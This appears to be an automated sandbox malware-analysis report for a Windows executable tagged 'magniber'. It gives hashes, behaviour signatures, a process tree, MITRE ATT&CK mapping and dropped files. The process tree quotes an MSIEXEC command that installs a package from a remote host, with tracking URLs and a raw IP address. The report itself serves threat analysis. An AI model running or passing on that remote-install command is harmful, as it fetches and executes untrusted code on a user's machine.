e299a7c4791f085fff436ab27a8d90dcee385d3c8b5714027d7e1d871d53eef1

Analysis

max time kernel
140s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
22/08/2024, 07:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-08-22_44917ed3b533be56195ee701d778c78e_magniber.exe
Size

1.4MB
MD5

44917ed3b533be56195ee701d778c78e
SHA1

b21f470902694a3b04a611ddfe91b062e01a8802
SHA256

e299a7c4791f085fff436ab27a8d90dcee385d3c8b5714027d7e1d871d53eef1
SHA512

d41a5f76fcd774a76d6c7b91361e63619bdcbf05ab1caa80b4cdc37276fda18428e7ca33b69eee5dcb87d2902cae14e1c372fb042365c154b0b3c4c2c1122101
SSDEEP

24576:QaQYqnKVDBtKvbcPoiMyS3MTH1Df5YeLDBoLMik0Ne/WwdZPWI2Ar4WpUMI:Qah7BYc1rZTHJqeXqLMik0HwdxGmeMI

Score

7^/10

discovery

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
5068	~0hidqedi99.tmp

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
4824	MSIEXEC.EXE

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-08-22_44917ed3b533be56195ee701d778c78e_magniber.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	~0hidqedi99.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSIEXEC.EXE

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4824	MSIEXEC.EXE
Token: SeIncreaseQuotaPrivilege	4824	MSIEXEC.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4824	MSIEXEC.EXE
4824	MSIEXEC.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 656 wrote to memory of 5068	656	2024-08-22_44917ed3b533be56195ee701d778c78e_magniber.exe	86
PID 656 wrote to memory of 5068	656	2024-08-22_44917ed3b533be56195ee701d778c78e_magniber.exe	86
PID 656 wrote to memory of 5068	656	2024-08-22_44917ed3b533be56195ee701d778c78e_magniber.exe	86
PID 5068 wrote to memory of 4824	5068	~0hidqedi99.tmp	94
PID 5068 wrote to memory of 4824	5068	~0hidqedi99.tmp	94
PID 5068 wrote to memory of 4824	5068	~0hidqedi99.tmp	94

C:\Users\Admin\AppData\Local\Temp\2024-08-22_44917ed3b533be56195ee701d778c78e_magniber.exe
"C:\Users\Admin\AppData\Local\Temp\2024-08-22_44917ed3b533be56195ee701d778c78e_magniber.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:656
- C:\Users\Admin\AppData\Local\Temp\~0hidqedi99.tmp
  "C:\Users\Admin\AppData\Local\Temp\~0hidqedi99.tmp"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5068
- - C:\Windows\SysWOW64\MSIEXEC.EXE
    MSIEXEC.EXE /i "http://pliuht.cdnpckgs.eu/client/pkgs/highnoon/Highnoon Casino20160620111116.msi" DDC_DID=1644786 DDC_RTGURL=http://www.cdnfile.eu/dl/TrackSetup/TrackSetup.aspx?DID=1644786 DDC_UPDATESTATUSURL=http://190.4.95.114:8080/highnoon/Lobby.WebServices/Installer.asmx DDC_SIGNUPURL=http://190.4.95.114:8080/highnoon/Lobby.WebSite/SignUpUnsecure.aspx SETUPEXEDIR="C:\Users\Admin\AppData\Local\Temp" SETUPEXENAME="~0hidqedi99.tmp"
    3⤵
    - Use of msiexec (install) with remote resource
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:4824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\_isBCFC.tmp

Filesize
1KB

MD5
b86af7ffb3e71a25402d335f82178594

SHA1
d74959721a9d691e5f0cd495b2ebeda8545ea68d

SHA256
27b97be7ebcf319b1ced793bdf9cfc2df85849db667af57b2515e7cafa08c17c

SHA512
288d099f39c67dd1320ab182171771e6619553b0e5e97c132281ad82b6db9e6bd07ff4647d0104be3226c7cad74ab7b3ff8d898a0b1ed10db7eae65c32d1e1eb

Download Submit
C:\Users\Admin\AppData\Local\Temp\{097E60D7-9995-4E11-993B-77F15F609F6D}\0x0409.ini

Filesize
21KB

MD5
be345d0260ae12c5f2f337b17e07c217

SHA1
0976ba0982fe34f1c35a0974f6178e15c238ed7b

SHA256
e994689a13b9448c074f9b471edeec9b524890a0d82925e98ab90b658016d8f3

SHA512
77040dbee29be6b136a83b9e444d8b4f71ff739f7157e451778fb4fccb939a67ff881a70483de16bcb6ae1fea64a89e00711a33ec26f4d3eea8e16c9e9553eff

Download Submit
C:\Users\Admin\AppData\Local\Temp\{097E60D7-9995-4E11-993B-77F15F609F6D}\_ISMSIDEL.INI

Filesize
20B

MD5
db9af7503f195df96593ac42d5519075

SHA1
1b487531bad10f77750b8a50aca48593379e5f56

SHA256
0a33c5dffabcf31a1f6802026e9e2eef4b285e57fd79d52fdcd98d6502d14b13

SHA512
6839264e14576fe190260a4b82afc11c88e50593a20113483851bf4abfdb7cca9986bef83f4c6b8f98ef4d426f07024cf869e8ab393df6d2b743b9b8e2544e1b

Download Submit
C:\Users\Admin\AppData\Local\Temp\~0hidqedi99.tmp

Filesize
1.2MB

MD5
c40e8488d2f5778430a47e51cecca50d

SHA1
92c4ea33e769bfac077236c215b91ce776912fc8

SHA256
1e810b52f573c3addff1431b8719d2b9a403788889d2962f746b1bf66b9be472

SHA512
d9a2e5e05a5f0811920d5b0fc24c72f0e0e051f48e6fabcc6d96fd57bf38daccd06748b6fbad3a77c9f5ec1e3f7cba9c7fb281c72c9760cebd9ca417e98a5253

Download Submit
C:\Users\Admin\AppData\Local\Temp\~BCF9.tmp

Filesize
5KB

MD5
c45e37829183acb9643f2d32ba0c9d1b

SHA1
54fd27eef97eac4d61a4744166987972bd6adae4

SHA256
29507db1bd2f89aa7610f03d2a7351b10e5e63dc3534919ea44569a6b59b1cc8

SHA512
b2dddb3de92c5dc39c9bd669e0a67f2c108d19a5c4b198443f7458b071c1f3da0befc0dd6e1c01238e7faf004a2b7226556e2cb680230d78e2019a2de896ee52

Download Submit